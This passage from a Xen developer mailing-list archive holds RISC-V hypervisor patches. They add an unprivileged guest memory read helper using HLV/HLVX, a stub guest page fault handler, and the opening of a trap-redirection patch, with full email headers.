        b=AA7fG3jIMuyq4pTWeEgrMihL27S8GqnKQc8o41kqpfgqLbzq0MkFiXHlJ9KjY2uZ32
         XUK3yJ9ikQP2BM0c3UbBhzvwMrcRD73ef42ehKiS+0fzqanqwZbzFpcdzlbS2ydm0h7j
         r+NhuB3F5t2yNSyqaHzBBKSUAm9QNp6sJK34Iz/9fgykvr3meBM2kv2lTXPD9ubMR6pB
         nwGPd+R9xSCEzm1K8qNywStrWK2jJezm263Q66Niz+R5Cs+44pJDmtYhmT2j4jMwCIxi
         48SAqInSLQZDT8W2fbqBGF1F8ize+WDYaT+gtHEyLbiIatylswFHtcXzRJYtjp5HVME6
         FTnw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563369; x=1785168169;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=+7kdah3CKoZ2lfUKxn7g0im5G4hErGLWA6eC7dkc6P0=;
        b=Tc3XOWSHiO688fiN6i1NuSskN+fZ++cQgQ9CV4Trwq2jd3K19HA8ceKGZWWub+Mgg6
         7/uj3rDiv4Vp4LTlAucEQQrmHGn+9ZPvodnMAwUobJnVDRUvLtcqOrjADNUOSLP6JSFK
         loXpwCmu7QmfQPqAUvXy27eanCRL7EPTP6GX2lHut+MLVq/9Q1onG/Y8AR3rOkZxUJsr
         /osLfqMWDYqxXNStx/wti8dUP8Naxae1p3/QKtPP/a+MmCmqs2ZOihu9JguV7sDDpTRt
         2fK7k8teYhqQJj21moZt+o9CRTVDCqzLy2LwYQ564cvtXeoVCH+zL14qDlxbTVttLQ6a
         /lTQ==
X-Gm-Message-State: AOJu0YxmB2pTfSqqM6Vr3Q9PODYS70MK06szD9ijqe/HdW+NE6wGjxh2
	MWsRA58o/LHXt/A/clpXR+Ea3yIKOOHAb9VXijkumvI8pTcnq7jSLNjSBsDQ5w==
X-Gm-Gg: AfdE7cksvWEttfLi4lr74Re6ynkfDzutaAQuZlDM0YvednfDQrIUzcctsw8uSQgO3dK
	L9oNtJqC1WkP2KZcLgOpS70TiNhKBLzxLuEukf/bc91cPxEl/z5wLt60rOIKdWo2nbAsyPRGrEY
	zl4U40XYDdUsjRFHUnnWPZ+oUfRbQKW9R3T5lPVfspAIJa1rbPK0AYn+sPsszZHDMUkEry/XOy2
	OZQV6JmIQU5K6sLLVTqcTmsKNxeTAtWpJoATdena/tqLFO5COBIIAy0aADJ8araoVVuB1A6Ix8z
	keMFx0I+g/TZhEyWNrSKr2qt56VsmDnqMHqCH5l7bM5AJYBnAkEqvgDdT75NtlJqtucJuiRhDHI
	KbKDhfGt1na0FghmZN9QzQeR4UIlVL0ED9vqOXF0Bgdl/Jkd9t7EUHd+lCOPr2nSBMCBAepCBcY
	TNvghiGsi/AizzGhEGElbmU7XweQ6Svf1TfkAIGMAIC1izMEQ=
X-Received: by 2002:a05:600c:6d82:b0:495:4072:4194 with SMTP id 5b1f17b1804b1-4954a40c4acmr113085805e9.28.1784563368763;
        Mon, 20 Jul 2026 09:02:48 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 13/17] xen/riscv: add unprivileged guest memory read helper
Date: Mon, 20 Jul 2026 18:02:11 +0200
Message-ID: <79cfa875e9dfc14bbcad948c20f4008b03d11f72.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784563369-BD341757-3A816EDB/10/73395122804
X-purgate-type: spam
X-purgate-size: 5698

Introduce riscv_vcpu_unpriv_read() to allow Xen to safely read guest memory
using HLV/HLVX instructions while reliably capturing trap context.

This is required for instruction fetch emulation and MMIO decoding, where
Xen must inspect guest memory that may not be directly accessible and may
fault.

The implementation is based on kvm_riscv_vcpu_unpriv_read() from Linux,
with one deviation: the hlv/hlvx instructions translate the guest address
through the live vsatp/hgatp CSRs, i.e. through the address space of the
currently running vCPU, so the function can only be called safely for
current. Instead of taking a struct vcpu argument, it always operates on
current directly.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/guestcopy.c                | 91 +++++++++++++++++++++++
 xen/arch/riscv/include/asm/guest_access.h |  6 ++
 2 files changed, 97 insertions(+)

diff --git a/xen/arch/riscv/guestcopy.c b/xen/arch/riscv/guestcopy.c
index 8a89212e0bea..57844bc442f6 100644
--- a/xen/arch/riscv/guestcopy.c
+++ b/xen/arch/riscv/guestcopy.c
@@ -6,6 +6,7 @@
 #include <xen/string.h>
 
 #include <asm/guest_access.h>
+#include <asm/traps.h>
 
 #define COPY_from_guest     0U
 #define COPY_to_guest       BIT(0, U)
@@ -114,3 +115,93 @@ unsigned long copy_to_guest_phys(struct domain *d, paddr_t gpa, void *buf,
     return copy_guest(buf, gpa, len, GPA_INFO(d),
                       COPY_to_guest | COPY_gpa);
 }
+
+/*
+ * Read machine word from Guest memory
+ *
+ * @read_insn: Flag representing whether we are reading instruction
+ * @guest_addr: Guest address to read
+ * @trap: Output pointer to trap details
+ *
+ * The hlv/hlvx instructions translate guest_addr through the live
+ * vsatp/hgatp CSRs, so the read is only meaningful for the address
+ * space of the currently running vCPU.
+ */
+unsigned long riscv_vcpu_unpriv_read(bool read_insn,
+                                     unsigned long guest_addr,
+                                     struct trap_info *trap)
+{
+    unsigned long val, tmp;
+    unsigned long flags, old_hstatus;
+
+    /*
+     * As hstatus is going to be changed we don't want an interrupt to occur
+     * with guest's hstatus register.
+     */
+    local_irq_save(flags);
+
+    /*
+     * The hypervisor virtual-machine load and store instructions are valid
+     * only in M-mode or HS-mode, or in U-mode when hstatus.HU=1. Each
+     * instruction performs an explicit memory access as though V=1; i.e.,
+     * with the address translation and protection, and the endianness,
+     * that apply to memory accesses in either VS-mode or VU-mode.
+     * Field SPVP of hstatus controls the privilege level of the access.
+     * The explicit memory access is done as though in VU-mode when SPVP=0,
+     * and as though in VS-mode when SPVP=1.
+     *
+     * So it is necessary to restore vCPU's hstatus before execution of
+     * hlv* instruction.
+     */
+    old_hstatus = csr_swap(CSR_HSTATUS,
+                           vcpu_guest_cpu_user_regs(current)->hstatus);
+
+    if ( read_insn )
+    {
+        asm volatile ( "\n"
+            "1:\n"
+            "   hlvx.hu %[val], (%[addr])\n"
+            ASM_EXTABLE_TRAP_INFO(1b, 3f, %[ti])
+            "   andi %[tmp], %[val], 3\n"
+            "   addi %[tmp], %[tmp], -3\n"
+            "   bne %[tmp], zero, 3f\n"
+            "   addi %[addr], %[addr], 2\n"
+            "\n"
+            "2:\n"
+            "   hlvx.hu %[tmp], (%[addr])\n"
+            ASM_EXTABLE_TRAP_INFO(2b, 3f, %[ti])
+            "   sll %[tmp], %[tmp], 16\n"
+            "   add %[val], %[val], %[tmp]\n"
+            "3:\n"
+        : [val] "=&r" (val), [tmp] "=&r" (tmp), [addr] "+&r" (guest_addr)
+        : [ti] "r" (trap) : "memory" );
+
+        /*
+         * Although HLVX instructions' explicit memory accesses require execute
+         * permissions, they still raise the same exceptions as other load
+         * instructions, rather than raising fetch exceptions instead.
+         */
+        if ( trap->scause == CAUSE_LOAD_PAGE_FAULT )
+            trap->scause = CAUSE_FETCH_PAGE_FAULT;
+    }
+    else
+    {
+        asm volatile ( "\n"
+            "1:\n"
+#ifdef CONFIG_RISCV_64
+            "hlv.d %[val], (%[addr])\n"
+#else
+            "hlv.w %[val], (%[addr])\n"
+#endif
+            "2:\n"
+            ASM_EXTABLE_TRAP_INFO(1b, 2b, %[ti])
+        : [val] "=&r" (val)
+        : [addr] "r" (guest_addr), [ti] "r" (trap) : "memory" );
+    }
+
+    csr_write(CSR_HSTATUS, old_hstatus);
+
+    local_irq_restore(flags);
+
+    return val;
+}
diff --git a/xen/arch/riscv/include/asm/guest_access.h b/xen/arch/riscv/include/asm/guest_access.h
index 8d679319ded0..153ec6ce26d1 100644
--- a/xen/arch/riscv/include/asm/guest_access.h
+++ b/xen/arch/riscv/include/asm/guest_access.h
@@ -5,6 +5,8 @@
 #include <xen/types.h>
 
 struct domain;
+struct trap_info;
+struct vcpu;
 
 unsigned long raw_copy_to_guest(void *to, const void *from, unsigned len);
 unsigned long raw_copy_from_guest(void *to, const void *from, unsigned len);
@@ -25,6 +27,10 @@ unsigned long raw_clear_guest(void *to, unsigned int len);
 unsigned long copy_to_guest_phys(struct domain *d, paddr_t gpa, void *buf,
                                  unsigned long len);
 
+unsigned long riscv_vcpu_unpriv_read(bool read_insn,
+                                     unsigned long guest_addr,
+                                     struct trap_info *trap);
+
 #endif /* ASM__RISCV__GUEST_ACCESS_H */
 /*
  * Local variables:
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367171.1617070 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSE-00039a-U1; Mon, 20 Jul 2026 16:02:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367171.1617070; Mon, 20 Jul 2026 16:02:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSE-00037s-D2; Mon, 20 Jul 2026 16:02:54 +0000
Received: by outflank-mailman (input) for mailman id 1367171;
 Mon, 20 Jul 2026 16:02:51 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqSB-0002X9-IT
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqSA-00HTbS-UV
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:50 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a9-bab6-0a2a0a5309dd-0a2a4505a2b6-6
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:50 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46aa-4cb1-0a2a45050019-d155802ebc2c-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:50 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so78890425e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:50 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.48
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563370; x=1785168170; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=qIXZX14pOwVgzfv+jfEK9Ua8eYz4w2GkU/oVhmx/Uq0=;
        b=R+YKplTB2XvJOVBdx7iXggyZdWKQRjkdFyt5hvTfJXJ+UtVDodFLQA+zjYnR5Wq2v2
         s+1W79UFl10oUhBd0ZiuKAGodno1FH0ORJ/bQF/xMF9JLH1ILE+nB4capVzwUApEXOMk
         qp6pZLaYpi30JeZj2FCvSOnFG/tEMGsJ2w7JhVKhvnDSrIhu0grKtg08JEbIctoC2sTs
         EviAu8j/JKa5urEmVxUaRFzozRNPyrzmgFf4nlMtkOgGp7+GIROtMAaxgczsQzr1KOV1
         nGGdipa3NhRDpyjFycCPz/jjWv/KYyb1PC0pY0gtPWIoGxAClV6CHm/OO6Fxr0zeho1T
         tWrQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563370; x=1785168170;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=qIXZX14pOwVgzfv+jfEK9Ua8eYz4w2GkU/oVhmx/Uq0=;
        b=pW0fsmpNXA4d5WVMz9yDaiQIFjul0s77/Ks6Im4+oSvTmsEoRC9o8/I+MIdC8Cyl4/
         r1VICzQt/rG0iZWtvv8N1+ZCfO3cn3WaBk1fqhc4Hg5ltFJ5rdM923D0aZW6VadCjGLD
         74i4StASSt/rUCfxNl4dj7xlNz378+eXRyHoaigAesbtPf9gg+MYLnJuFSSARY8H7PXQ
         BgL7QBTwHZLz2fWUkz+lHjEW7ORq1536aIDQqfvxLaiv52tOFLqNwkIoeRPXsaTXlBcz
         vOHu3SVtCzv3ZSXwUO3Ifmcy4/rZyMLY58dVixUBinZOUgEWqE1UGNqzCz1KV8x/ISJx
         R6Jg==
X-Gm-Message-State: AOJu0Yw/ilXWHFtvioxW4Alsah4NABkh/ps4T7e9kOco5K+dxLkXGJlX
	MgvbU+lvxTQKcq2zwUhWIVGdiO4O39uORKTyiiZZwgD0a6ZoqX0LJRLqtwxiDw==
X-Gm-Gg: AfdE7cnDmkwyAPNptaYMUEbRdpk6sKpwYTPq/1IZuDYYmGy1zeO2kcKgk9+HE0Ysx+U
	6a2u7PiUWptK7IzkZogfC4onATD0gc3susr1FYdEmHOhGDxcR3hzzCjWoflDG3KP6u1aroogV4C
	jvmLbU6icQlYXz7ofBinBWGwMdj8eDWQf0xRPvhwzRiYyvrPCoUPJ5tLZCzibPCridbyLysuk4Y
	sw85ajzSVlPuY78sClehGbD7EI4gSdGcOezYiW2VcYcz+h1ueruAHyH+B6z+eb3VXvDYRVm3ZXj
	pUWKy7Xs7HZUh2cicaiKkx7lcXNuHJ0PjQjRxYcYc7LEg+tXehLbpNHKRx2PIAWwlvFYI58jd8f
	xAamKChppDF+/9O9Mi7ep7DnYa5y2cSB3vvJFx4xUQPMeT5INjwbcBO3eS0w7Mn3NZQLy3rQUNb
	L1xk42IlUrqltDAB/c6LaKBPqGSzgoBMq2VHxMBjFStyks3I8=
X-Received: by 2002:a05:600c:c10c:b0:495:56d4:3077 with SMTP id 5b1f17b1804b1-49556d432b4mr111068315e9.17.1784563370173;
        Mon, 20 Jul 2026 09:02:50 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 14/17] xen/riscv: add guest page fault handling stub
Date: Mon, 20 Jul 2026 18:02:12 +0200
Message-ID: <7ef8919f12c269d180a2b56a83218cc54e0e357c.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784563370-71CA82A1-8BF10439/10/73395122804
X-purgate-type: spam
X-purgate-size: 3186

Add a stub handler for guest page faults and hook it into the trap path,
providing the basic infrastructure for future MMIO trap handling.

This will be used, for example, to trap accesses to APLIC registers in
order to initialize and emulate the interrupt controller for guests.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/traps.c | 66 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

diff --git a/xen/arch/riscv/traps.c b/xen/arch/riscv/traps.c
index d35c013e1399..1c97bd101948 100644
--- a/xen/arch/riscv/traps.c
+++ b/xen/arch/riscv/traps.c
@@ -191,6 +191,67 @@ static void timer_interrupt(void)
     raise_softirq(TIMER_SOFTIRQ);
 }
 
+static always_inline unsigned long get_faulting_gpa(void)
+{
+    /*
+     * According to RISC-V spec:
+     *  18.2.8. Hypervisor Trap Value Register (htval)
+     *   ...
+     *   A guest physical address written to htval is shifted right by 2 bits
+     *   to accommodate addresses wider than the current XLEN.
+     *   ...
+     *   If the least-significant two bits of a faulting guest physical address
+     *   are needed, these bits are ordinarily the same as the
+     *   least-significant two bits of the faulting virtual address in stval.
+     *   For faults due to implicit memory accesses for VS-stage address
+     *   translation, the least-significant two bits are instead zeros. These
+     *   cases can be distinguished using the value provided in register htinst.
+     */
+    return (csr_read(CSR_HTVAL) << 2) | (csr_read(CSR_STVAL) & 0x3);
+}
+
+static int emulate_load(unsigned long fault_addr, unsigned long htinst)
+{
+    return -EOPNOTSUPP;
+}
+
+static int emulate_store(unsigned long fault_addr, unsigned long htinst)
+{
+    return -EOPNOTSUPP;
+}
+
+static void handle_guest_page_fault(unsigned long cause,
+                                    struct cpu_user_regs *regs)
+{
+    unsigned long addr;
+    int rc;
+
+    addr = get_faulting_gpa();
+
+    switch ( cause )
+    {
+    case CAUSE_LOAD_GUEST_PAGE_FAULT:
+        rc = emulate_load(addr, csr_read(CSR_HTINST));
+        break;
+
+    case CAUSE_STORE_GUEST_PAGE_FAULT:
+        rc = emulate_store(addr, csr_read(CSR_HTINST));
+        break;
+
+    default:
+        rc = -EOPNOTSUPP;
+        ASSERT_UNREACHABLE();
+        break;
+    }
+
+    if ( rc )
+        domain_crash(current->domain,
+                     "%s: unable to handle faulted guest %s addr %#lx\n",
+                     __func__,
+                     (cause == CAUSE_LOAD_GUEST_PAGE_FAULT) ? "load" : "store",
+                     addr);
+}
+
 void do_trap(struct cpu_user_regs *cpu_regs)
 {
     register_t pc = cpu_regs->sepc;
@@ -205,6 +266,11 @@ void do_trap(struct cpu_user_regs *cpu_regs)
         vsbi_handle_ecall(cpu_regs);
         break;
 
+    case CAUSE_LOAD_GUEST_PAGE_FAULT:
+    case CAUSE_STORE_GUEST_PAGE_FAULT:
+        handle_guest_page_fault(cause, cpu_regs);
+        break;
+
     case CAUSE_ILLEGAL_INSTRUCTION:
         if ( do_bug_frame(cpu_regs, pc) >= 0 )
         {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367174.1617074 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSF-0003Hh-GL; Mon, 20 Jul 2026 16:02:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367174.1617074; Mon, 20 Jul 2026 16:02:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSF-0003Fr-4b; Mon, 20 Jul 2026 16:02:55 +0000
Received: by outflank-mailman (input) for mailman id 1367174;
 Mon, 20 Jul 2026 16:02:53 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqSD-0002sb-Ap
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqSC-00HTbS-Nt
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:52 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a9-bab6-0a2a0a5309dd-0a2a4505a2b6-14
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:52 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46ac-4cb1-0a2a45050019-d155802fa44c-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:52 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-493f6de72faso27885415e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:52 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.50
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563372; x=1785168172; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=opjQ/V98n1m+LO4UkRjC+2s0sDwL1tKpI+4Ef5yOWXM=;
        b=IbovyweIPOsFvVVuVwmBMJyhoX7KA+qKg19TjQOgh3I2isljsn4VrDzJmZXR+QjhWL
         IGqOACqQ7ANQcw8G40tJk5stU6mJM63zCS9bAAvOwYtkcScTzu+SxKqJySnhsPyRrfpE
         PUXWzou/AhJwKy8N3rbLGLsS3aVuCRW0ovgui0HOoGpS1hIc5pE4XQneenJvMDYEYksg
         bcafDxUG+o18KAzs+xCKGTtbinlxTPYazhbv8mhl0Eq9g2NIHLJp+NRbMVsLObGyX3yC
         O+kotpyLE3UP04NFS68UDpuDqACbkN1exMp2jwDYmlladu4yebmbABusuOz6XnLKwTmY
         yNrA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563372; x=1785168172;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=opjQ/V98n1m+LO4UkRjC+2s0sDwL1tKpI+4Ef5yOWXM=;
        b=lcQkLPr8OMbdEqg5I5lGTKYMOcaJ5zFhs54cLREKU4J9wwCPD1kfSlL9DDXSRCXGN4
         UrwAlYewJvfr+hYLILEWpilel+gl/BNX8sGZ2f3wQi9/MmjKuJaEWjS/zje79sagQ2vG
         LgRpWGqjYzw0gX8unflEDt/uFgvKV0DzV+r8rrM6AhsNKz13kizZHfivTlHJ6W6JJtZ7
         bBLvfOAAhzS/fP3sXgvvnb5UGYe++65VnJhmUoolbs74/484QmjhwN1/ZQBbf3AcQSAP
         zabVNWxZn0eYTyaj/PyWLeuIixu7VqMDnJ/rMMSs7+sU5w8cHMKN+DizFxpsGnvys5FT
         JowA==
X-Gm-Message-State: AOJu0Yx+lnv4cZQdMjkw2wcCLhflfuAqaifyA12W+KwgeLI7LdupLK98
	53gsOxqRzP37axhKAIcdnLN1irykTe4W6GIxbkQ/H1SJ3EA+nFDgh8x7TmIqEw==
X-Gm-Gg: AfdE7ck3iVtW/oRrdLsoZiAvvnd3L6DwIHgYIV1lnqMVCnKd6abCiEbCfEWQ0boKWEB
	NdT2prMdhUz8fWUVqkeyYuwec88nSrdx82RdoY1N7GOIeTHjAjvXGJp+eBLV/zvJHsAncyTxaId
	NdzBJrP4v+AJBwFzqcHYyoF6ZgSxlu6gkrAVh4vMGVMupaVxcSE1PP8ljdCIJL1a5rdNZKYRG9+
	yhgKFtR4ft8SsBGEdoxI3n6Nu+dSEh9u8ooHyyjAs46MG/Le/YvhpfTctqyw7vbxLe7lo/PoKFL
	vVVDI0A08xexorNb9KiHX5JRLI10Mo0erQIUFl8X3zNEVtC7qCCRwWfWkApAvDVzW1l/vuBiAH6
	iX43k0lmclf6QRLHP8TQBBpePPk1TiqyCRgNdwJ8c9opd7rgA7bY9biZN+aoSjR6zHMRcg+EVFY
	pWH7o62eViWfnEHM/478zDh/qNrETIdG/yS7v+lL7v6k0xbzeru2PvoHaEjA==
X-Received: by 2002:a05:600c:4e8b:b0:495:501a:fcf8 with SMTP id 5b1f17b1804b1-495501afdc8mr118793605e9.9.1784563371874;
        Mon, 20 Jul 2026 09:02:51 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 15/17] xen/riscv: implement trap redirection to a guest
Date: Mon, 20 Jul 2026 18:02:13 +0200
Message-ID: <8b14a7926e42c7e3308dc7f730334fed56210d81.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784563372-738BE2A1-FD30314F/10/73395122804
X-purgate-type: spam
X-purgate-size: 4493

Some traps taken by Xen on behalf of a guest can't or shouldn't be
handled by the hypervisor and must be forwarded to the guest's own
S-mode exception handler instead: e.g. when riscv_vcpu_unpriv_read()
faults while accessing guest memory, or when emulation hits a condition
only the guest kernel can resolve.

Introduce riscv_vcpu_trap_redirect() for that purpose. It makes the
trap appear to the guest as if it had been taken directly in VS-mode:
the trap information is transferred to the guest's virtual supervisor
